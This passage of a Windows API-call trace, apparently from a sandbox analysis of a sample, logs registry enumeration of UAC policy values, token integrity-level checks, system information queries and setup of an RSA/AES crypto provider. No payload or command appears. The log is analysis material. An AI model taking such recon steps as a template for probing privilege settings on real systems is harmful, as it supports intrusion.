(HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c240 [0173.028] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5b998) returned 1 [0173.028] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5b998 [0173.028] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c1f8 [0173.028] RegEnumValueA (in: hKey=0x24, dwIndex=0xd, lpValueName=0x2df828, lpcchValueName=0x2df824, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x2df824, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.029] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5b9a8 [0173.029] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c1b0 [0173.029] RegEnumValueA (in: hKey=0x24, dwIndex=0xe, lpValueName=0x2df828, lpcchValueName=0x2df824, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x2df824, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.029] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5d1e8 [0173.029] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c168 [0173.029] RegEnumValueA (in: hKey=0x24, dwIndex=0xf, lpValueName=0x2df828, lpcchValueName=0x2df824, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x2df824, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.029] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5d1f8 [0173.029] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.029] RegEnumValueA (in: hKey=0x24, dwIndex=0x10, lpValueName=0x2df828, lpcchValueName=0x2df824, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x2df824, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0173.029] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c0d8 [0173.029] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c0d8) returned 1 [0173.029] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c0d8 [0173.029] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c5a0) returned 1 [0173.029] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5b878) returned 1 [0173.029] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c438) returned 1 [0173.029] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5b888) returned 1 [0173.029] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c558) returned 1 [0173.029] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5b898) returned 1 [0173.029] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c510) returned 1 [0173.029] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5b930) returned 1 [0173.029] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c4c8) returned 1 [0173.029] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5b860) returned 1 [0173.029] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c480) returned 1 [0173.029] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5b968) returned 1 [0173.029] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c3f0) returned 1 [0173.029] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5b978) returned 1 [0173.029] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c3a8) returned 1 [0173.029] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5b988) returned 1 [0173.029] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c360) returned 1 [0173.029] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5b940) returned 1 [0173.029] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c318) returned 1 [0173.029] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5b950) returned 1 [0173.029] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c2d0) returned 1 [0173.029] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5b9d0) returned 1 [0173.029] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c288) returned 1 [0173.029] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5b9e0) returned 1 [0173.029] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c1f8) returned 1 [0173.029] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5b998) returned 1 [0173.030] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c1b0) returned 1 [0173.030] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5b9a8) returned 1 [0173.030] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c168) returned 1 [0173.030] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5d1e8) returned 1 [0173.030] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.030] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5d1f8) returned 1 [0173.030] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c240) returned 1 [0173.030] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c240 [0173.030] RegQueryValueExA (in: hKey=0x24, lpValueName="ConsentPromptBehaviorAdmin", lpReserved=0x0, lpType=0x2df934, lpData=0x0, lpcbData=0x2df93c*=0x0 | out: lpType=0x2df934*=0x4, lpData=0x0, lpcbData=0x2df93c*=0x4) returned 0x0 [0173.030] RegQueryValueExA (in: hKey=0x24, lpValueName="ConsentPromptBehaviorAdmin", lpReserved=0x0, lpType=0x2df934, lpData=0xd5c240, lpcbData=0x2df93c*=0x4 | out: lpType=0x2df934*=0x4, lpData=0xd5c240*=0x5, lpcbData=0x2df93c*=0x4) returned 0x0 [0173.030] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c240) returned 1 [0173.030] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c0d8) returned 1 [0173.030] RegEnumValueA (in: hKey=0x24, dwIndex=0x0, lpValueName=0x2df828, lpcchValueName=0x2df824, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x2df824, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.030] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x10) returned 0xd5d5e8 [0173.030] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5d1f8 [0173.030] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c0d8 [0173.030] RegEnumValueA (in: hKey=0x24, dwIndex=0x1, lpValueName=0x2df828, lpcchValueName=0x2df824, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x2df824, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.030] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5d1e8 [0173.030] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c240 [0173.030] RegEnumValueA (in: hKey=0x24, dwIndex=0x2, lpValueName=0x2df828, lpcchValueName=0x2df824, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x2df824, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.030] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5d208 [0173.030] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c120 [0173.030] RegEnumValueA (in: hKey=0x24, dwIndex=0x3, lpValueName=0x2df828, lpcchValueName=0x2df824, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x2df824, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.030] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5d218 [0173.030] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c168 [0173.030] RegEnumValueA (in: hKey=0x24, dwIndex=0x4, lpValueName=0x2df828, lpcchValueName=0x2df824, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x2df824, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.030] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x20) returned 0xd5b860 [0173.030] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5d5e8) returned 1 [0173.030] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5d228 [0173.030] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c1b0 [0173.030] RegEnumValueA (in: hKey=0x24, dwIndex=0x5, lpValueName=0x2df828, lpcchValueName=0x2df824, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x2df824, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.030] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5d238 [0173.030] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c1f8 [0173.031] RegEnumValueA (in: hKey=0x24, dwIndex=0x6, lpValueName=0x2df828, lpcchValueName=0x2df824, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x2df824, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.031] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5d248 [0173.031] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c288 [0173.031] RegEnumValueA (in: hKey=0x24, dwIndex=0x7, lpValueName=0x2df828, lpcchValueName=0x2df824, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x2df824, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.031] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5d258 [0173.031] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c2d0 [0173.031] RegEnumValueA (in: hKey=0x24, dwIndex=0x8, lpValueName=0x2df828, lpcchValueName=0x2df824, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x2df824, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.031] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x30) returned 0xd5b930 [0173.031] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5b860) returned 1 [0173.031] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5d268 [0173.031] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c318 [0173.031] RegEnumValueA (in: hKey=0x24, dwIndex=0x9, lpValueName=0x2df828, lpcchValueName=0x2df824, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x2df824, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.031] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5d278 [0173.031] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c360 [0173.031] RegEnumValueA (in: hKey=0x24, dwIndex=0xa, lpValueName=0x2df828, lpcchValueName=0x2df824, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x2df824, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.031] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5d288 [0173.031] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c3a8 [0173.031] RegEnumValueA (in: hKey=0x24, dwIndex=0xb, lpValueName=0x2df828, lpcchValueName=0x2df824, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x2df824, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.031] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5d298 [0173.031] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c3f0 [0173.031] RegEnumValueA (in: hKey=0x24, dwIndex=0xc, lpValueName=0x2df828, lpcchValueName=0x2df824, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x2df824, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.031] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c480 [0173.031] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5b930) returned 1 [0173.031] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5d2a8 [0173.031] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c4c8 [0173.035] RegEnumValueA (in: hKey=0x24, dwIndex=0xd, lpValueName=0x2df828, lpcchValueName=0x2df824, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x2df824, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.035] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5d2b8 [0173.035] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c510 [0173.035] RegEnumValueA (in: hKey=0x24, dwIndex=0xe, lpValueName=0x2df828, lpcchValueName=0x2df824, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x2df824, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.035] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5d2c8 [0173.035] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c558 [0173.035] RegEnumValueA (in: hKey=0x24, dwIndex=0xf, lpValueName=0x2df828, lpcchValueName=0x2df824, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x2df824, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.035] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x8) returned 0xd5d2d8 [0173.035] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c438 [0173.035] RegEnumValueA (in: hKey=0x24, dwIndex=0x10, lpValueName=0x2df828, lpcchValueName=0x2df824, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x2df824, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0173.035] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c5a0 [0173.035] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c5a0) returned 1 [0173.035] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c5a0 [0173.035] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c5a0) returned 1 [0173.035] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c5a0 [0173.035] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c5a0) returned 1 [0173.035] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c5a0 [0173.035] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c5a0) returned 1 [0173.035] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c5a0 [0173.035] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c5a0) returned 1 [0173.035] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c5a0 [0173.035] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c5a0) returned 1 [0173.035] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c5a0 [0173.035] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c5a0) returned 1 [0173.035] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c5a0 [0173.035] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c5a0) returned 1 [0173.035] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c5a0 [0173.035] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c0d8) returned 1 [0173.035] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5d1f8) returned 1 [0173.036] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c240) returned 1 [0173.036] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5d1e8) returned 1 [0173.036] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c120) returned 1 [0173.036] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5d208) returned 1 [0173.036] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c168) returned 1 [0173.036] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5d218) returned 1 [0173.036] RegQueryValueExA (in: hKey=0x24, lpValueName="PromptOnSecureDesktop", lpReserved=0x0, lpType=0x2df934, lpData=0x0, lpcbData=0x2df93c*=0x0 | out: lpType=0x2df934*=0x4, lpData=0x0, lpcbData=0x2df93c*=0x4) returned 0x0 [0173.036] RegQueryValueExA (in: hKey=0x24, lpValueName="PromptOnSecureDesktop", lpReserved=0x0, lpType=0x2df934, lpData=0xd5c480, lpcbData=0x2df93c*=0x4 | out: lpType=0x2df934*=0x4, lpData=0xd5c480*=0x1, lpcbData=0x2df93c*=0x4) returned 0x0 [0173.036] RegCloseKey (hKey=0x24) returned 0x0 [0173.036] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x2df9ac | out: TokenHandle=0x2df9ac*=0x24) returned 1 [0173.036] GetTokenInformation (in: TokenHandle=0x24, TokenInformationClass=0x14, TokenInformation=0x2df9a8, TokenInformationLength=0x4, ReturnLength=0x2df9a4 | out: TokenInformation=0x2df9a8, ReturnLength=0x2df9a4) returned 1 [0173.036] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x2df998 | out: TokenHandle=0x2df998*=0xa0) returned 1 [0173.036] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x2df994 | out: TokenInformation=0x0, ReturnLength=0x2df994) returned 0 [0173.036] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c5a0 [0173.036] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x19, TokenInformation=0xd5c5a0, TokenInformationLength=0x14, ReturnLength=0x2df994 | out: TokenInformation=0xd5c5a0, ReturnLength=0x2df994) returned 1 [0173.036] GetSidSubAuthorityCount (pSid=0xd5c5a8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0xd5c5a9 [0173.036] GetSidSubAuthority (pSid=0xd5c5a8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000), nSubAuthority=0x0) returned 0xd5c5b0 [0173.036] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c5a0) returned 1 [0173.036] NtClose (Handle=0xa0) returned 0x0 [0173.036] GetSystemInfo (in: lpSystemInfo=0x2dfae0 | out: lpSystemInfo=0x2dfae0*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0x1, dwNumberOfProcessors=0x1, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0173.036] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x6c) returned 0xd5b860 [0173.036] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c5a0 [0173.037] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName=0x0) returned 0xa0 [0173.037] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c480 [0173.037] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c438 [0173.037] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c558 [0173.037] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c510 [0173.037] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x5000) returned 0xd60048 [0173.037] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c4c8 [0173.037] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c4c8) returned 1 [0173.037] CryptAcquireContextW (in: phProv=0x2dfaf4, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x2dfaf4*=0x33e498) returned 1 [0173.049] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd60048) returned 1 [0173.049] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5b8d8 [0173.049] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5b960 [0173.049] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c4c8 [0173.050] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5b9e8 [0173.050] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5ba70 [0173.050] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c3f0 [0173.050] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5baf8 [0173.050] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c3a8 [0173.050] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x5000) returned 0xd60048 [0173.050] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c360 [0173.050] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c360) returned 1 [0173.050] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0173.066] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd60048) returned 1 [0173.066] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x338378, lpbSaclPresent=0x2dfaa8, pSacl=0x2dfafc, lpbSaclDefaulted=0x2dfaa8 | out: lpbSaclPresent=0x2dfaa8, pSacl=0x2dfafc, lpbSaclDefaulted=0x2dfaa8) returned 1 [0173.066] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c360 [0173.066] CreateEventA (lpEventAttributes=0x2dfaf0, bManualReset=1, bInitialState=0, lpName="") returned 0xe8 [0173.066] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c360) returned 1 [0173.066] GetLastError () returned 0x0 [0173.066] LocalFree (hMem=0x338378) returned 0x0 [0173.066] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c360 [0173.066] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x5000) returned 0xd60048 [0173.066] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c318 [0173.066] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c318) returned 1 [0173.066] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0173.067] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd60048) returned 1 [0173.067] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x338378, lpbSaclPresent=0x2dfaa8, pSacl=0x2dfafc, lpbSaclDefaulted=0x2dfaa8 | out: lpbSaclPresent=0x2dfaa8, pSacl=0x2dfafc, lpbSaclDefaulted=0x2dfaa8) returned 1 [0173.067] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c318 [0173.067] CreateEventA (lpEventAttributes=0x2dfaf0, bManualReset=1, bInitialState=0, lpName="") returned 0xec [0173.067] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c318) returned 1 [0173.067] GetLastError () returned 0x0 [0173.067] LocalFree (hMem=0x338378) returned 0x0 [0173.067] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c318 [0173.067] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x5000) returned 0xd60048 [0173.067] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c2d0 [0173.067] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c2d0) returned 1 [0173.067] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0173.068] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd60048) returned 1 [0173.068] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x338378, lpbSaclPresent=0x2dfaa8, pSacl=0x2dfafc, lpbSaclDefaulted=0x2dfaa8 | out: lpbSaclPresent=0x2dfaa8, pSacl=0x2dfafc, lpbSaclDefaulted=0x2dfaa8) returned 1 [0173.068] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c2d0 [0173.068] CreateEventA (lpEventAttributes=0x2dfaf0, bManualReset=1, bInitialState=0, lpName="") returned 0xf0 [0173.068] RtlFreeHeap (HeapHandle=0xd50000, Flags=0x0, BaseAddress=0xd5c2d0) returned 1 [0173.068] GetLastError () returned 0x0 [0173.068] LocalFree (hMem=0x338378) returned 0x0 [0173.068] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x2800) returned 0xd60048 [0173.068] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x80) returned 0xd5bb80 [0173.068] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x8, Size=0x40) returned 0xd5c2d0 